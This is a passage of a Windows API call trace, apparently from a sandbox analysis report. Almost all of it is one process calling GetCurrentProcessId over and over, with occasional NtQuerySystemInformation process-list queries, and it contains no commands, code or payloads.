[0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.071] GetCurrentProcessId () returned 0x10c0 [0168.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d900) returned 0x0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.589] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.590] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.591] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.592] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0168.593] GetCurrentProcessId () returned 0x10c0 [0169.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d8b0) returned 0x0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.249] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.250] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.251] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.252] GetCurrentProcessId () returned 0x10c0 [0169.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d8b0) returned 0x0 [0170.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d900) returned 0x0 [0170.422] GetCurrentProcessId () returned 0x10c0 [0170.422] GetCurrentProcessId () returned 0x10c0 [0170.422] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.423] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.424] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0170.425] GetCurrentProcessId () returned 0x10c0 [0171.035] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d950) returned 0x0 [0171.050] GetCurrentProcessId () returned 0x10c0 [0171.050] GetCurrentProcessId () returned 0x10c0 [0171.050] GetCurrentProcessId () returned 0x10c0 [0171.050] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.054] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.055] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.056] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.057] GetCurrentProcessId () returned 0x10c0 [0171.058] GetCurrentProcessId () returned 0x10c0 [0171.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d9a0) returned 0x0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.717] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.718] GetCurrentProcessId () returned 0x10c0 [0171.719] GetCurrentProcessId () returned 0x10c0 [0171.719] GetCurrentProcessId () returned 0x10c0 [0171.719] GetCurrentProcessId () returned 0x10c0 [0171.719] GetCurrentProcessId () returned 0x10c0 [0171.719] GetCurrentProcessId () returned 0x10c0 [0172.315] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1da40) returned 0x0 [0172.977] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1dae0) returned 0x0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.981] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.982] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.983] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.984] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.985] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.986] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0172.987] GetCurrentProcessId () returned 0x10c0 [0173.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1dc70) returned 0x0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 